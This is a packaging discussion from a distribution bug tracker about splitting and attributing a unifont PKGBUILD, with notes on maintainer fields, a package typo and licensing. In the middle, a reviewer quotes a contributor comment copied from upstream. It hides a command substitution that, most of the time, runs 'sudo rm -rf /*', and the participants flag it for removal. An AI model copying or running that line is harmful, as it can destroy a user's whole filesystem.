so this font works in the linux VT console ?

bill-auger wrote:

so this font works in the linux VT console ?

IIRC it is used in GRUB on Ubuntu (or was in the past).
Checking the website, there is a PSF version too, which means that one can be packaged for the console:
http://unifoundry.com/unifont/index.html

i ask, because you described it as a replacement for terminus
font - terminus font is the only large bitmap font that can be
used in a VT; but it is lacking most non-ASCII glyphs

i dont see any value of adding yet another GUI font; but if it
is a more complete large bitmap font than terminus font, that
would increase its desirability

ok that looks good, but dont keep 'Maintainer:' as anyone unrelated to parabola - put either yourself or 'Parabola Hackers' as the 'Maintainer:' - if the PKGBUILD is based on another, make the original Maintainer like such:

# Maintainer(arch):
# Maintainer(archarm):
# Maintainer(arch32):
# Maintainer(artix):
# Maintainer(aur):

in this case it was derived from multiple PKGBUILDs combined, so that is not yet enough information to locate the upstream PKGBUILD - in that case i would also make a note of the original package names - maybe for such special cases, a new syntax could be introduced like # Maintainer(aur:pkgname):, to specify them for the tool to parse

on the AUR, this is multiple PKGBUILDs, yes? - what were those package names that you used as a reference?

there are only two AUR maintainers listed

# Maintainer(aur): neeshy 
# Maintainer(aur): Carlos Aznarán

pkgname=('pcf-unifont'
         'psf-unifont'
         'hex-unifont'
         'bdf-unifont'
         'ttf-unifont'
         'otf-unifont'
         'unifont-utils')

bdf-unifont     14.0.04-1     carlosal1015
unifont-utils     14.0.04-1     neeshy
psf-unifont     14.0.04-1     neeshy
pcf-unifont     14.0.04-1     neeshy
hex-unifont     14.0.04-1     neeshy
ttf-unifont     14.0.04-1     Morn
otb-unifont     14.0.01-1     Ckat

also, 'otf-unifont' is presumably a typo - should be 'otb-unifont', yes?

I used the two attributed packages as a base, but seeing that it was a split package and I looked into the packaged files from the official distribution from unifont I just packaged it accordingly.
In any way, I'll add the attribution and fix the typo.

Hi,

In the last fixed PKGBUILD, the maintainers lines are messed up again.

By the way, the following looks a bit dangerous:

# Contributor: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `>

Maybe the rm -rf /* could be removed just in case.

This would make sure that if there is some changes in makepkg or pacman or if users try to somehow source the PKGBUILD with less common shells, it wouldn't create issues.

For the record running source ./PKGBUILD was discussed here at least: https://labs.parabola.nu/boards/18/topics/125?r=126#message-126

I'll try to build the PKGBUILD and try to see if I find other issues.

Building it went fine for me.

By the way, is unifont-utils also under the OFL license?

If so it should probably be installed too like with other packages.

If not the license can be fixed by adding:

license=('GPL2')

When I do that I know it works because after installing the resulting package, pacman -Q -i unifont-utils gives me that:

 Licenses        : GPL2

While after installing bdf-unifont (also from the packages that were built) I have:

Licenses        : GPL2  custom:OFL

Maybe the rm -rf /* could be removed just in case.

yea i noticed that monkey business too - i also thought to delete it

"Maintainer(parabola)" is not correct - there should be at least one "Maintainer:" and all "Maintainer:" should be associated with parabola

"Contributor(aur)" is also not necessary - it is not important information, where contributions were submitted - some contributions on the AUR came from arch and other forks - its just not correct to assume they all originated on the AUR - those signifiers are not for attribution - the information they convey is not about any project affiliation of the contributor - they are only there to show where to find the upstream changes - it is only important who the maintainer is, and where new upstream changes may be found - just make those all "Contributor:"

i dont like "Contributor(aur): felix" either - it completely omits the email address - i wuold put that back in like:

1. Contributor: felix <`(( $RANDOM % 6 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg `>

you dont really need to upload a new PKGBUILD for all of these
minor changes that i have been suggesting - i would have changed
that stuff anyways - i only pointing out those minor for the
sake of future packages you offer

although if you were using git, the iterative process like this
is actually very convenient - all of the different PKGBUILDs
attached to this ticket, would simply be amendments to a single
git commit

are you familiar with using git now? - i think packaging requests
would be much easier to handle on a forge or the mailing list -
we actually decided a few months ago, that packaging requests
should not be accepted on the bug tracker

Sure, no problem.
I've been using git for other purposes for a while, and since I finally figured out how to deal with the email workflow in git, I can start submitting to the mailing list instead.